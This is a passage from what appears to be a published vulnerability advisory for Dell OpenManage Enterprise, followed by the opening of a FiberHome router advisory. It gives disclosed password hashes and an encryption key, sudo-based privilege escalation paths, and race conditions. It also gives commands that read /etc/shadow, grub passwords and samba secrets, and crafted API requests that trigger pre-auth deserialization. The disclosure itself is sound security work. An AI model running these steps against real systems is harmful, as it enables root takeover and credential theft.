  3 | $2a$10$.hbHnOt6crprUoAO2PMJxerc8nQ12SJ.jxgM8JgZiuLIfkCVNgSqe
  4 | system
  2 | admin
  1 | $2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6
</code></pre>
<p>Also from dump.sql:</p>
<pre><code>COPY core.passwordcredential (id, dtype, label, usernameid, passwordid, domainid, updatedate) FROM stdin;
2       HashedPasswordCredentialEntity  system  4       3       \N      2020-07-11 11:24:42.386+00
1       HashedPasswordCredentialEntity  admin   2       1       \N      2020-07-11 11:26:14.551+00
\.
</code></pre>
<p>When trying to add a <code>system</code> account:</p>
<p><img alt="" src="images/2021-dell-open-manage-enterprise-user-list-admin.png" />
<img alt="" src="images/2021-dell-open-manage-enterprise-user-list-system.png" /></p>
<p>This account doesn't seem to be documented but we were unable to use it to login into the web service.</p>
<p>Its aim is currently not known.</p>
<p><a id="database-key-stored-db"></a></p>
<h2>Details - Database key stored in the database</h2>
<p>The application database key (<code>DatabaseKey</code>) is generated randomly during the installation and is stored inside the database.</p>
<p>It is possible to extract it without authentication:</p>
<pre><code>COPY core.encryptionkey (id, dtype, bytes) FROM stdin;
1       DatabaseKey     DHAqjsvpfUh+aRZKLTa6+K+rmHBtcPafoyuIMPTqV3hTUbGTb08ZzZSkF4GYgbPQ
\.
</code></pre>
<p><a id="weak-permission-tls-key"></a></p>
<h2>Details - Weak permissions on SSL/TLS Key</h2>
<p>The TLS key has weak permissions:</p>
<pre><code>[root@openmanage-enterprise /]# ls -la /etc/pki/tls/private/localhost.key
-rw-r--r--. 1 root root 3272 Jul 11  2020 /etc/pki/tls/private/localhost.key
</code></pre>
<p>No SELinux protection - this allows any user to read the files.</p>
<p><a id="lpe-mcsimetricssvc"></a></p>
<h2>Details - Multiple Local Privilege Escalations from <code>mcsimetricssvc</code></h2>
<p>The file <code>/etc/sudoers.d/94_mcsi_metrics</code> belongs to <code>mcsimetricssvc</code>, as shown below:</p>
<pre><code>[root@openmanage-enterprise etc]# ls -la /etc/sudoers.d/94_mcsi_metrics
-rw-rw-r--. 1 mcsimetricssvc root 847 Sep 25  2020 /etc/sudoers.d/94_mcsi_metrics
</code></pre>
<p>This user can just edit this file to get root access using <code>sudo</code>.</p>
<p>It is also possible to directly find this weakness by executing <code>sudo</code>, a warning message will appear:</p>
<pre><code>[root@openmanage-enterprise ~]# sudo id
sudo: /etc/sudoers.d/94_mcsi_metrics is owned by uid 1005, should be 0
uid=0(root) gid=0(root) groups=0(root)
</code></pre>
<p>This LPE was silently patched in version 3.6.1.</p>
<p>Futhermore, this user has these (large) sudo privileges:</p>
<pre><code>%mcsimetricssvc ALL=NOPASSWD:/usr/bin/mount, /usr/bin/cp, /usr/bin/umount, /usr/bin/gpg,/opt/dell/mcsi/appliance/scripts/pam/config_user_access.sh,/opt/dell/mcsi/appliance/scripts/port_validation.sh,/opt/dell/mcsi/appliance/scripts/change_timezone.py,/opt/dell/mcsi/appliance/scripts/restore_application.py,/opt/dell/mcsi/appliance/scripts/certificate_tool.py,/opt/dell/mcsi/appliance/scripts/change_hostname.py,/opt/dell/mcsi/appliance/scripts/address_configuration.py,/opt/dell/mcsi/appliance/scripts/current_network_settings.py, /usr/bin/lscpu,/usr/bin/free,/opt/dell/mcsi/appliance/scripts/ntp_tool.py,/opt/dell/mcsi/appliance/scripts/dump_logs.py,/opt/dell/mcsi/appliance/scripts/change_webconfig.py,/opt/dell/mcsi/appliance/scripts/branding.py,/usr/bin/systemctl,/usr/bin/date,/usr/bin/ntpstat,/usr/sbin/ntpq,/usr/bin/python,/usr/sbin/ntpdc
</code></pre>
<p>At least <code>/usr/bin/mount</code>, <code>/usr/bin/cp</code>, <code>/usr/bin/gpg</code>, <code>/usr/bin/systemctl</code> and <code>/usr/bin/python</code> can be used to elevate to root.</p>
<p><a id="lpe-mcsitasksvc"></a></p>
<h2>Details - Multiple Local Privilege Escalations from group <code>mcsitasksvc</code></h2>
<p>Users belonging to group <code>mcsitasksvc</code> can sudo:</p>
<pre><code>%mcsitasksvc ALL=NOPASSWD:/usr/bin/mount, /usr/bin/cp, /usr/bin/umount, /usr/bin/gpg,/opt/dell/mcsi/appliance/scripts/pam/config_user_access.sh,/opt/dell/mcsi/appliance/scripts/port_validation.sh,/opt/dell/mcsi/appliance/scripts/change_timezone.py,/opt/dell/mcsi/appliance/scripts/restore_application.py,/opt/dell/mcsi/appliance/scripts/certificate_tool.py,/opt/dell/mcsi/appliance/scripts/change_hostname.py,/opt/dell/mcsi/appliance/scripts/address_configuration.py,/opt/dell/mcsi/appliance/scripts/virtual_ip_configuration.py,/opt/dell/mcsi/appliance/scripts/current_network_settings.py, /usr/bin/lscpu,/usr/bin/free,/opt/dell/mcsi/appliance/scripts/ntp_tool.py,/opt/dell/mcsi/appliance/scripts/dump_logs.py,/opt/dell/mcsi/appliance/scripts/change_webconfig.py,/opt/dell/mcsi/appliance/scripts/branding.py,/usr/bin/systemctl,/usr/bin/date,/usr/bin/ntpstat,/usr/sbin/ntpq,/usr/bin/python3,/usr/sbin/ntpdc,/opt/dell/mcsi/appliance/scripts/configureSSHDTimeout.sh,/opt/dell/mcsi/appliance/scripts/resolve.sh,/usr/bin/nmcli
%mcsitasksvc ALL=NOPASSWD:/opt/dell/omc/utilities/cifsconfiguration/bin/reset_cifs_password.sh, /opt/dell/omc/utilities/cifsconfiguration/bin/test_cifs_config.sh, /usr/bin/smbpasswd, /usr/bin/systemctl
</code></pre>
<p>At least <code>/usr/bin/mount</code>, <code>/usr/bin/cp</code>, <code>/usr/bin/gpg</code>, <code>/usr/bin/systemctl</code> and <code>/usr/bin/python3</code> can be used to elevate to root.</p>
<p><a id="lpe-tomcat"></a></p>
<h2>Details - Multiple Local Privilege Escalations from group <code>tomcat</code></h2>
<p>Users belonging to group <code>tomcat</code> can sudo:</p>
<pre><code>%tomcat ALL=NOPASSWD:/opt/dell/mcsi/appliance/scripts/ntp_tool.py,/opt/dell/mcsi/appliance/scripts/rsyslog_tool.py,/opt/dell/mcsi/appliance/scripts/change_timezone.py,/opt/dell/mcsi/appliance/scripts/certificate_tool.py,/opt/dell/mcsi/appliance/scripts/change_hostname.py,/opt/dell/mcsi/appliance/scripts/login_iprange.py,/opt/dell/mcsi/appliance/scripts/address_configuration.py,/opt/dell/mcsi/appliance/scripts/current_network_settings.py,/opt/dell/mcsi/appliance/scripts/restore_application.py,/opt/dell/mcsi/appliance/scripts/dump_logs.py,/usr/bin/python3,/opt/dell/mcsi/appliance/scripts/branding.py,/opt/dell/mcsi/appliance/scripts/commandexecutor.sh,/opt/dell/mcsi/appliance/scripts/resolve.sh,/opt/dell/mcsi/appliance/scripts/port_validation.sh,/usr/bin/systemctl,/opt/dell/mcsi/appliance/scripts/change_webconfig.py,/opt/dell/mcsi/appliance/scripts/sysloglogging.py,/usr/bin/date,/usr/bin/ntpstat,/usr/sbin/ntpq,/usr/sbin/ntpdc,/opt/dell/mcsi/appliance/scripts/chassis_nw_settings.py,/opt/dell/mcsi/appliance/scripts/virtual_ip_configuration.py
%tomcat ALL=NOPASSWD:/usr/bin/mount, /usr/bin/cp, /usr/bin/umount, /var/consoleupdate/unzip_uploadedfile.py
</code></pre>
<p>At least <code>/usr/bin/python3</code>, <code>/usr/bin/systemctl</code>, <code>/usr/bin/mount</code> and <code>/usr/bin/cp</code>  can be used to elevate to root.</p>
<p><a id="lpe-omctui"></a></p>
<h2>Details - Local Privilege Escalation from group <code>omctui</code></h2>
<p>Users belonging to group <code>omctui</code> can sudo:</p>
<pre><code>%omctui ALL=NOPASSWD:/usr/bin/systemctl,/usr/sbin/shutdown,/usr/bin/localectl
</code></pre>
<p><code>/usr/bin/systemctl</code> can be used to elevate to root.</p>
<p><a id="toctou-security_tool.sh"></a></p>
<h2>Details - Multiple TOCTOUs in "security_tool.sh" shell script</h2>
<p><code>/opt/dell/mcsi/appliance/scripts/security_tool.sh</code> contains multiple TOCTOUs:</p>
<pre><code>[root@openmanage-enterprise /]# cat /opt/dell/mcsi/appliance/scripts/security_tool.sh
[...]
456 function turnOffRequireRetty
457 {
458     echo "turning off RequireRetty"
459
460     # make it so the requiretty is commented out.
461     sed 's/Defaults    requiretty/#Defaults    requiretty/' /etc/sudoers &gt; /tmp/sudoers.bk
462     mv /tmp/sudoers.bk /etc/sudoers
463     chmod 0440 /etc/sudoers
464 }
</code></pre>
<p>In line 461, no check is done on <code>/tmp/sudoers.bk</code> - so the file may already exist with attacker's rights.</p>
<p>Race condition in line 462 - an attacker previously controlling <code>/tmp/sudoers.bk</code> will overwrite <code>/etc/sudoers</code>
with its own policies, resulting in a privilege escalation.</p>
<p>This race condition is now located in line 168 in version 3.6.1.</p>
<p>And here:</p>
<pre><code>505     local targets="/usr/bin/python3"
506     targets="${targets},${THIS_DIR}/change_admin_password.sh"
507     targets="${targets},/usr/sbin/passwd"
508     targets="${targets},${THIS_DIR}/change_timezone.py"
509     targets="${targets},${THIS_DIR}/certificate_tool.py"
510
511     # remove existing tomcat permissions from the sudoesrs file
512      sed 's/%admin ALL=NOPASSWD:.*$//' /etc/sudoers &gt; /tmp/sudoers.bk
513     mv /tmp/sudoers.bk /etc/sudoers
514     chmod 0440 /etc/sudoers
515
516      # add new tomcat permissions to the sudoers file
517      echo "%admin ALL=NOPASSWD:${targets}" &gt;&gt; /etc/sudoers
</code></pre>
<p>Race condition in line 513 - an attacker controlling <code>/tmp/sudoers.bk</code> will overwrite <code>/etc/sudoers</code>
with its own policies, resulting in a privilege escalation.</p>
<p>This race condition is now located in line 220 in version 3.6.1.</p>
<p><a id="tomcat-shadow-access"></a></p>
<h2>Details - Incorrect access for tomcat</h2>
<p>The script <code>security_tool.sh</code> contains interesting settings for the tomcat user, in the function <code>configureShadowAccess</code>:</p>
<pre><code>[root@openmanage-enterprise /]# cat /opt/dell/mcsi/appliance/scripts/security_tool.sh
[...]
466 # this allows rest/shiro to authenticate admin user from tomcat using the pam database
467 function configureShadowAccess
468 {
469     if ! $(ls -la /etc/shadow | grep -q shadow-readers); then
470         echo "configuring shadow access"
471         groupadd shadow-readers
472         usermod -a -G shadow-readers tomcat               &lt;-- tomcat added to group `shadow-readers`
473         chown root:shadow-readers /etc/shadow             &lt;-- non-standard permissions for /etc/shadow
474         chmod 640 /etc/shadow
475         service systemd-logind restart
476     else
477         echo "shadow access already configured"
478     fi
479 }
</code></pre>
<p>This will allow the <code>tomcat</code> user to read the <code>/etc/shadow</code> file.</p>
<p>This function is not called in version 3.5 and 3.6.1 but may have been used before:</p>
<pre><code>573 function configureAccounts
574 {
575     #configureShadowAccess
</code></pre>
<p>This function is located in line 174 in version 3.6.1.</p>
<p><a id="grub-password-db-no-auth"></a></p>
<h2>Details - Grub password stored in postgres, without authentication for local user</h2>
<p>The grub password is located in the file <code>/etc/grub.d/40_custom</code>.</p>
<p>This file is generated by <code>/opt/dell/mcsi/appliance/scripts/set_grub_password.sh</code>:</p>
<pre><code>[...]
12   pwd="$(/usr/bin/psql -qtAX -U core_admin -d enterprisedb -c 'select guid from core.application_info')"
[...]
28       sed -i "s/password root.*/password root $pwd/g" /etc/grub.d/40_custom
29       /usr/sbin/grub2-mkconfig -o /boot/grub2/grub.cfg
30       echo GRUB password is updated
[...]
</code></pre>
<p>Even if <code>/etc/grub.d/40_custom</code> is 755, it is impossible to read the file because <code>/etc/grub.d</code> is 700 <code>root:root</code>.</p>
<pre><code>[root@openmanage-enterprise lpe-priv8-3/]# ls -la /etc/grub.d/40_custom
-rwxr-xr-x. 1 root root 288 May 16 04:07 /etc/grub.d/40_custom
[root@openmanage-enterprise lpe-priv8-3/]# ls -la /etc/grub.d | grep ' \.$'
drwx------.  2 root root  4096 Sep 30  2020 .
</code></pre>
<p>But it is possible to extract the grub password from the auth-less local postgres database:</p>
<pre><code>sh-4.2$ /usr/bin/psql -qtAX -U core_admin -d enterprisedb -c 'select guid from core.application_info'
09b50d53-189c-221c-7996-1c0ee1279201
</code></pre>
<p>The password can be confirmed by reading <code>/etc/grub.d/40_custom</code>:</p>
<pre><code>[root@openmanage-enterprise /]# tail -n 1 /etc/grub.d/40_custom
password root 09b50d53-189c-221c-7996-1c0ee1279201
</code></pre>
<p><a id="pre-auth-post-auth-java-deserializations"></a></p>
<h2>Details - Pre-auth and post-auth Java Deserializations</h2>
<p>The solution uses <code>jackson</code> and <code>ObjectMapper</code> to read attacker-controlled json inputs.</p>
<p>It appears authentification doesn't really work when sending attacker-controlled data on API endpoints:</p>
<ul>
<li>sending valid authentication cookies and well-formed json/xml will result in a 200 ok</li>
<li>sending valid authentication cookies and bad-formed json/xml will result in deserialization errors or jackson parsing errors</li>
<li>sending well-formed json/xml without valid authentication cookies will result in a 400 bad request</li>
<li>sending bad-formed json/xml without valid authentication cookies will result in deserialization errors or jackson parsing errors</li>
</ul>
<p>The authentication system appears to be broken as it parses attacker-controlled data before checking the authentication.</p>
<p>Sending correct data will trigger the authentication:</p>
<pre><code>kali# wget -O- --no-check-certificate --post-data '{"targets":["1"],"command":"ls","operation":"REMOTE_SSH_EXEC"}' --header "Content-Type: application/json;charset=utf-8" https://192.168.1.100/omc/api/Console/RemoteCommandTask
HTTP request sent, awaiting response... 400 Bad Request
2021-05-16 12:57:17 ERROR 400: Bad Request.
</code></pre>
<p>From the logs:</p>
<pre><code>[ERROR] 2021-05-16 12:57:15.158 [ajp-bio-8009-exec-1] JobsController - org.springframework.web.client.HttpClientErrorException: 401 Unauthorized
</code></pre>
<p>Now, by replacing the targets field, "1" becomes "a", it is possible to create deserialization errors
while sending incorrect inputs while creating a RemoteCommandTask:</p>
<pre><code>POST /omc/api/Console/RemoteCommandTask HTTP/1.1
Host: 192.168.1.100
Content-Type: application/json;charset=utf-8
Content-Length: 62

{"targets":["a"],"command":"ls","operation":"REMOTE_SSH_EXEC"}
</code></pre>
<p>Or with <code>wget</code>:</p>
<pre><code>kali# wget -O- --no-check-certificate --post-data '{"targets":["a"],"command":"ls","operation":"REMOTE_SSH_EXEC"}' --header "Content-Type: application/json;charset=utf-8" https://192.168.1.100/omc/api/Console/RemoteCommandTask
HTTP request sent, awaiting response... 500 Internal Server Error
2021-05-16 12:58:25 ERROR 500: Internal Server Error.
</code></pre>
<p>And from the logs, no more "401 Unauthorized" but some deserialization errors:</p>
<p>From <code>/var/log/dell/mcsi/tomcat/application.log</code>:</p>
<pre><code>[ERROR] 2021-05-16 12:58:39.554 [ajp-bio-8009-exec-4] BaseController - org.springframework.http.converter.HttpMessageNotReadableException: JSON parse error: Cannot deserialize value of type `java.lang.Integer` from String "a": not a valid Integer value; nested exception is com.fasterxml.jackson.databind.exc.InvalidFormatException: Cannot deserialize value of type `java.lang.Integer` from String "a": not a valid Integer value
 at [Source: (PushbackInputStream); line: 1, column: 13] (through reference chain: com.dell.enterprise.model.omc.RemoteCommandTask["targets"]-&gt;java.util.ArrayList[0])
org.springframework.http.converter.HttpMessageNotReadableException: JSON parse error: Cannot deserialize value of type `java.lang.Integer` from String "a": not a valid Integer value; nested exception is com.fasterxml.jackson.databind.exc.InvalidFormatException: Cannot deserialize value of type `java.lang.Integer` from String "a": not a valid Integer value
 at [Source: (PushbackInputStream); line: 1, column: 13] (through reference chain: com.dell.enterprise.model.omc.RemoteCommandTask["targets"]-&gt;java.util.ArrayList[0])
 [100s of lines]
</code></pre>
<p>So it appears this input is deserialized before the authentication process is done.</p>
<p>We saw this behavior - deserialization or checking of validity of JSON using jackson without authentication -
in several web forms present in the solution, accepting JSON or XML, mainly before any authentication.</p>
<p>After some tests, we found 1 form that apparently checks the authentication,
but it is still possible to generate deserialization errors (post-auth):</p>
<pre><code>POST /core/api/Console/oidc/checkRegistration HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
X-Requested-With: managementConsole
Content-Length: 24
Origin: https://192.168.1.100
Connection: close
Referer: https://192.168.1.100/core/console/console.html
Cookie: X-Auth-Token=f544973e-4c0e-4522-9b8a-a65498ebccfc

{"oidcServerIds":[a1]}
</code></pre>
<p>From <code>/var/log/dell/mcsi/tomcat/application.log</code>:</p>
<pre><code>[ERROR] 2021-05-16 13:12:15.356 [ajp-bio-8009-exec-4] BaseController - org.springframework.http.converter.HttpMessageNotReadableException: JSON parse error: Unrecognized token 'a1': was expecting (JSON String, Number, Array, Object or token 'null', 'true' or 'false'); nested exception is com.fasterxml.jackson.databind.JsonMappingException: Unrecognized token 'a1': was expecting (JSON String, Number, Array, Object or token 'null', 'true' or 'false')
 at [Source: (PushbackInputStream); line: 1, column: 24] (through reference chain: com.dell.enterprise.model.ui.OIDCRegistrationStatusList["oidcServerIds"])
org.springframework.http.converter.HttpMessageNotReadableException: JSON parse error: Unrecognized token 'a1': was expecting (JSON String, Number, Array, Object or token 'null', 'true' or 'false'); nested exception is com.fasterxml.jackson.databind.JsonMappingException: Unrecognized token 'a1': was expecting (JSON String, Number, Array, Object or token 'null', 'true' or 'false')
[...]
 at Caused by: com.fasterxml.jackson.databind.JsonMappingException: Unrecognized token 'a1': was expecting (JSON String, Number, Array, Object or token 'null', 'true' or 'false')
[...]
    at com.fasterxml.jackson.databind.deser.BeanDeserializerBase.wrapAndThrow(BeanDeserializerBase.java:1714) ~[jackson-databind-2.10.3.jar:2.10.3]
    at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserializeFromObject(BeanDeserializer.java:371) ~[jackson-databind-2.10.3.jar:2.10.3]
    at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:159) ~[jackson-databind-2.10.3.jar:2.10.3]
    at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:4218) ~[jackson-databind-2.10.3.jar:2.10.3]
    at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3267) ~[jackson-databind-2.10.3.jar:2.10.3]
  [...]
    at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:277) ~[jackson-databind-2.10.3.jar:2.10.3]
    at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:245) ~[jackson-databind-2.10.3.jar:2.10.3]
    at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:27) ~[jackson-databind-2.10.3.jar:2.10.3]
    at com.fasterxml.jackson.databind.deser.impl.FieldProperty.deserializeAndSet(FieldProperty.java:138) ~[jackson-databind-2.10.3.jar:2.10.3]
    at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserializeFromObject(BeanDeserializer.java:369) ~[jackson-databind-2.10.3.jar:2.10.3]
    at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:159) ~[jackson-databind-2.10.3.jar:2.10.3]
    at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:4218) ~[jackson-databind-2.10.3.jar:2.10.3]
    at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3267) ~[jackson-databind-2.10.3.jar:2.10.3]
    at org.springframework.http.converter.json.AbstractJackson2HttpMessageConverter.readJavaType(AbstractJackson2HttpMessageConverter.java:237) ~[spring-web-4.3.28.RELEASE.jar:4.3.28.RELEASE]
  [...]
</code></pre>
<p>Due to the lack of interesting java gadgets, we didn't manage to exploit these deserialization errors.</p>
<p>These pre-auth and post-auth Java deserializations have been silently patched in version 3.6.1.</p>
<p><a id="idrac-user"></a></p>
<h2>Details - Idrac User</h2>
<p>When installing the appliance, an idrac user will be created with a random password:</p>
<pre><code>[root@openmanage-enterprise /]# cat /etc/shadow
[...]
idrac:$6$QtG/5PHz$1ZW7aSUeLJ6mlQM/sO/g7RLxKNUQrTwksmkJH9/meYkPTlgSvXLrR6CUikYzDg27bvprfm.EgimjX1e3yaxzC1:18763:0:99999:7:::
[root@openmanage-enterprise /]# cat /etc/passwd
[...]
idrac:x:1008:1016::/shared/dell/omc/cifs/idrac:/bin/false
</code></pre>
<p>This user may be for samba sharing functionality - we didn't success to use this functionality
from the management interface - maybe it will be possible to configure it in the next versions.</p>
<p>Interesting files are:</p>
<ul>
<li>/etc/samba/smb.conf</li>
<li>/var/lib/samba/private/passdb.tdb</li>
<li>/var/lib/samba/private/secrets.tdb</li>
</ul>
<p>It is possible to extract configurations with <code>tdbtool</code>:
<code>tdbtool /var/lib/samba/private/secrets.tdb dump</code> and <code>tdbtool /var/lib/samba/private/passdb.tdb dump</code></p>
<h2>Researcher comments on Vendor Response</h2>
<p>1 point has been considered as a vulnerability by the vendor
("Remote Auth Bypass with 2 pre-auth RCEs in docker instances") because
the attacker is not supposed to get a shell (e.g. with a command injection
or java deserialization) or to access postgres running on the appliance
(via a shell or via the network).</p>
<p>Interestingly, Dell confirmed this vulnerability that is in fact a chain 
of multiple "no-impact" vulnerabilities (lack of authentication for postgres,
command execution in redis and in postgres, R/W access to the postgres).</p>
<p>Other issues have not been considered having security impacts.
Dell confirmed postgres does not use authentication and there is no security impact in a normal situation.</p>
<p>Futhermore, this solution has an history of command injections -
nonetheless the threat model doesn't appear to include command injections
("No shell access or other ingress points available for use.").</p>
<p>2 vulnerabilities have been silently patched by the vendor, one DSA will be published (java deserialization).</p>
<h2>Vendor Response</h2>
<p>The vendor provided an impact assessment and explanations, as shown below:</p>
<ol>
<li>
<p><a href="#hardcoded-activemq-credentials">Hardcoded ActiveMQ Credentials</a> -&gt; <code>No impact</code></p>
<p>ActiveMQ credentials are not used in the appliance. File artifacts will be removed in a future release and are unused in Dell EMC OpenManage Enterprise (OME) and Dell EMC OpenManage Enterpise-Modular (OME-M).</p>
<p>Also, note that the ActiveMQ web console is disabled within OME.  In addition, as confirmed by the researcher, the firewall blocks incoming access to the relevant ports (46403 / 61616) and SELinux policies prevent users from reading these files.</p>
</li>
<li>
<p><a href="#hardcoded-activemq-credentials-for-jmx">Harcdoded ActiveMQ credentials for JMX</a> -&gt; <code>No impact</code></p>
<p>ActiveMQ JMX configuration is disabled. File artifacts will be removed in a future release and are unused in OME and OME-M. SELinux policies prevent regular users from reading the contents of these files.</p>
</li>
<li>
<p><a href="#hardcoded-activemq-keystore">Hardcoded ActiveMQ Keystore + password for keystore file (in jetty.xml)</a>  -&gt; <code>No impact</code></p>
<p>ActiveMQ keystore is not used in OME/OME-M. These artifacts will be removed in a future release.</p>
<p>SELinux policies prevent regular user read access.</p>
</li>
<li>
<p><a href="#hardcoded-jdbc-passwords">Hardcoded JDBC passwords</a> -&gt; <code>No impact</code></p>
<p>DB configured to allow access only from localhost. Also, the passwords indicated by the researcher are not used in OME / OME-M. In addition, (in OME 3.5 and later) SELinux policies add another layer of read access protection to the files with these passwords.</p>
</li>
<li>
<p><a href="#hardcoded-passwords-core_admin-replicator">Hardcoded passwords for core_admin and replicator</a> -&gt; <code>No impact</code></p>
<p>DB is configured to only allow access from localhost. The passwords indicated are not used in OME or OME-M and will be removed in a future release.</p>
</li>
<li>
<p><a href="#keystore-hardcoded-key">KeyStore using hardcoded Key</a> -&gt; <code>No impact</code></p>
<p>SELinux policies and current mitigation in place prevent file system access.</p>
</li>
<li>
<p><a href="#permissive-acl-postgres">Permissive ACL for Postgres</a> -&gt; <code>No impact</code></p>
<p>The attack vectors of shell access / ingress via Docker are not available to users - Docker path shut off in original design of product.</p>
</li>
<li>
<p><a href="#lpe-postgres">Local Privilege Escalation (as postgres) inside postgres docker</a> -&gt; <code>No impact</code></p>
<p>The attack vectors of shell access / ingress via Docker are not available to users - Docker path shut off in original design of product.</p>
</li>
<li>
<p><a href="#remote-auth-bypass-with-2-pre-auth-rces-docker-instances">Remote Auth Bypass with 2 pre-auth RCEs in docker instances</a> -&gt; <code>Impact</code></p>
<p>Remediation available in OME version 3.6.2 and OME-M 1.30.10, more information in Dell Security Advisory - DSA-2021-113 (<a href="https://www.dell.com/support/kbdoc/000189673">https://www.dell.com/support/kbdoc/000189673</a>)</p>
</li>
<li>
<p><a href="#undocumented-system-account">Undocumented <code>system</code> account</a> -&gt; <code>No impact</code></p>
<p>User cannot log in to account.</p>
</li>
<li>
<p><a href="#database-key-stored-db">Database key stored in the database</a> -&gt; <code>No impact</code></p>
<p>Postgres is configured to allow access from internal appliance services - no security impact</p>
</li>
<li>
<p><a href="#weak-permission-tls-key">Weak permission on SSL/TLS Key</a> -&gt; <code>No impact</code></p>
<p>No shell access for use in exploitation.</p>
<p>As an additional layer of defense, SELinux policies will be reviewed and updated in future releases.</p>
</li>
<li>
<p><a href="#lpe-mcsimetricssvc">Multiple Local Privilege Escalations from <code>mcsimetricssvc</code> - partially silently patched in version 3.6.1</a> -&gt; <code>No impact</code></p>
<p>No shell access or other ingress points available for use.</p>
</li>
<li>
<p><a href="#lpe-mcsitasksvc">Multiple Local Privilege Escalations from group <code>mcsitasksvc</code></a> -&gt; <code>No impact</code></p>
<p>No shell access or other ingress points available for use.</p>
</li>
<li>
<p><a href="#lpe-tomcat">Multiple Local Privilege Escalations from group <code>tomcat</code></a> -&gt; <code>No impact</code></p>
<p>No shell access or other ingress points available for use.</p>
</li>
<li>
<p><a href="#lpe-omctui">Local Privilege Escalation from group <code>omctui</code></a> -&gt; <code>No impact</code></p>
<p>No shell access or other ingress points available for use.</p>
</li>
<li>
<p><a href="#toctou-security_tool.sh">Multiple TOCTOUs in "security_tool.sh" shell script</a> -&gt; <code>No impact</code></p>
<p>Mitigation in place to block shell access by default.</p>
</li>
<li>
<p><a href="#tomcat-shadow-access">Incorrect access for tomcat</a> -&gt; <code>No impact</code></p>
<p>Debug level script is not used in OME/OME-M and will be removed in future releases.</p>
</li>
<li>
<p><a href="#grub-password-db-no-auth">Grub password stored in postgres, without authentication for local user</a> -&gt; <code>No impact</code></p>
<p>Access to postgres for password is only available to users who already have hypervisor admin privileges.</p>
</li>
<li>
<p><a href="#pre-auth-post-auth-java-deserializations">Pre-auth and post-auth Java Deserializations - silently patched in version 3.6.1</a> -&gt; <code>No impact</code></p>
<p>Found in prior internal security audit - issue mitigated in version 3.6.1, more information in Dell Security Advisory - DSA-2021-113 (<a href="https://www.dell.com/support/kbdoc/000189673">https://www.dell.com/support/kbdoc/000189673</a>).</p>
</li>
<li>
<p><a href="#idrac-user">Idrac User</a> -&gt; <code>No impact</code></p>
<p>These are credentials to access an internal CIFS share / not a user that can log in to OME. The passwords are rotated on a time interval (not configurable) and handed out by OME to clients who in turn need access to the internal CIFS share. Binary content that can be introduced on this share is limited to DUPS which are signed / signature verified by the iDRAC and other entities prior to flashing. Non-binary content is the SCP profile that is used to configure systems. The ability to invoke operations that would access the CIFS share / use content on it is relegated to authenticated high privileged OME users (admin / Device Manager roles)</p>
</li>
</ol>
<h2>Report Timeline</h2>
<ul>
<li>July, 2020: Vulnerabilities found and this advisory was written. Research took =~ 4 days.</li>
<li>May 14, 2021: Found an interesting tweet about dbutil_2_3.sys</li>
<li>May 16, 2021: Verification on version 3.5. New vulnerabilities found, advisory was rewritten.</li>
<li>June 26, 2021: Verification on version 3.6.1.</li>
<li>June 26, 2021: Advisory sent to Dell</li>
<li>June 28, 2021: Dell attributes PSRC-15668</li>
<li>Jul 14, 2021: Dell replies it is doing final reviews of their advisory and ask to coordinate disclosure to July 19</li>
<li>Jul 16, 2021: Pierre replies confirms July 19 and asks Dell to confirm the "Vendor Response" text</li>
<li>Jul 19, 2021: A public advisory is sent to security mailing lists</li>
<li>Jul 19, 2021: Dell provides CVE-2021-21596</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>) and Alexandre Torres (<a href="https://twitter.com/AlexTorSec">@AlexTorSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/advisories/2021-dell-openmanage-enterprise-0x00.txt">https://pierrekim.github.io/advisories/2021-dell-openmanage-enterprise-0x00.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2021-07-19-dell-openmanage-enterprise-0day-vulnerabilities.html">https://pierrekim.github.io/blog/2021-07-19-dell-openmanage-enterprise-0day-vulnerabilities.html</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Multiple vulnerabilities found in FiberHome HG6245D routers</title>
        <link href="2021-01-12-fiberhome-ont-0day-vulnerabilities.html"/>
        <content type="html"><h2>Product Description</h2>
<p>FiberHome Technologies is a leading equipment vendor and global solution provider in the field of information technology and telecommunications.</p>
<p>The FiberHome HG6245D routers are GPON FTTH routers. They are mainly used in South America and 
in Southeast Asia (from Shodan). These devices come with competitive pricing but are very powerful, with a lot of memory and storage.</p>
<p>I validated the vulnerabilities against HG6245D, RP2602:</p>
<pre><code>Config# show version
show version
Hardware version : WKE2.094.277A01
Software version : RP2602
Minor version : 00.00
Basic part version : RP2602
Generate time : Apr  1 2019 19:38:05
</code></pre>
<p><strong>UPDATE Feb 7, 2021 - the latest firmware version (RP2613) is also vulnerable. The vulnerabilities have been confirmed in the latest firmware image (RP2613).</strong></p>
<p>Some vulnerabilities have been tested successfully against another fiberhome device (AN5506-04-FA, firmware RP2631, 4 April 2019). The fiberhome devices have quite a similar codebase, so it is likely all other fiberhome devices (AN5506-04-FA, AN5506-04-FAT, AN5506-04-F) are also vulnerable.</p>
<p>On the first analysis, attack surface is not huge:</p>
<ul>
